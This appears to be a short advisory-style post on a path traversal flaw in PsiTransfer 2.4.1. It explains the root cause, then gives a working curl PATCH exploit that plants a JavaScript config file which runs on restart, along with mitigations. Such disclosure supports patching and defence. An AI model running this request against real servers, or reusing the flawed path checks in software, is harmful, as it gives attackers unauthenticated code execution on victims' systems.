Listen to this Post
The vulnerability exists in the upload PATCH flow under /files/:uploadId. The outer middleware validates the request path using the still-encoded req.path, while the downstream handler later writes using the decoded req.params.uploadId. For a request such as /files/..%2Fconfig.production.js, the outer check sees the encoded value ..%2Fconfig.production.js, but the downstream `patch(‘/:uploadId’)` route receives the decoded parameter ../config.production.js. In the same code path, the `catch` branch uses if(! e instanceof httpErrors.NotFound), which does not correctly stop execution on a missing upload target. The write sink `Store.getFilename(fid)` resolves `path.resolve(uploadDir, fid.replace(‘++’, ‘/’))` and then only checks startsWith(uploadDir). With a supported custom upload directory such as <app_root>/conf, the decoded target `../config.production.js` resolves to <app_root>/config.production.js, and the jail check accepts it because the resolved path begins with <app_root>/conf. `store.append()` creates the target write stream first and only consults the JSON sidecar in the `finish` handler. As a result, `PATCH /files/..%2Fconfig.production.js` returns `404 Not Found` but still leaves an attacker-controlled `config.production.js` on disk. On the next start, `config.js` executes `require(path.resolve(__dirname, config.${process.env.NODE_ENV}.js))` when the file exists.
Platform: PsiTransfer
Version: 2.4.1
Vulnerability : Path traversal RCE
Severity: Critical
date: 2025-04-16
Prediction: Patch expected 2025-05-15
What Undercode Say:
Start vulnerable PsiTransfer instance
NODE_ENV=production PSITRANSFER_UPLOAD_DIR=/opt/psitransfer/conf npm start
Exploit: Write malicious config.production.js
curl -X PATCH "http://target/files/..%2Fconfig.production.js" \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Offset: 0" \
-H "Content-Type: application/offset+octet-stream" \
--data 'module.exports = {}; require("fs").writeFileSync("/tmp/psitransfer-rce-proof", "owned");'
Restart the service
systemctl restart psitransfer
Verify RCE
ls -la /tmp/psitransfer-rce-proof
Exploit:
- Set `NODE_ENV=production` and `PSITRANSFER_UPLOAD_DIR` to a custom `conf` directory.
- Send a PATCH request to `/files/..%2Fconfig.production.js` with JavaScript payload.
- Server returns 404 but writes `config.production.js` to application root.
- On restart, Node.js executes the injected config file, granting RCE.
Protection from this CVE
- Reject PATCH requests unless expected sidecar metadata already exists.
- Avoid upload directory names that prefix startup-loaded paths under the application root.
- Upgrade to patched version once available.
Impact:
Unauthenticated attackers can execute arbitrary code with the PsiTransfer service account upon next restart, leading to full compromise of confidentiality, integrity, and availability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

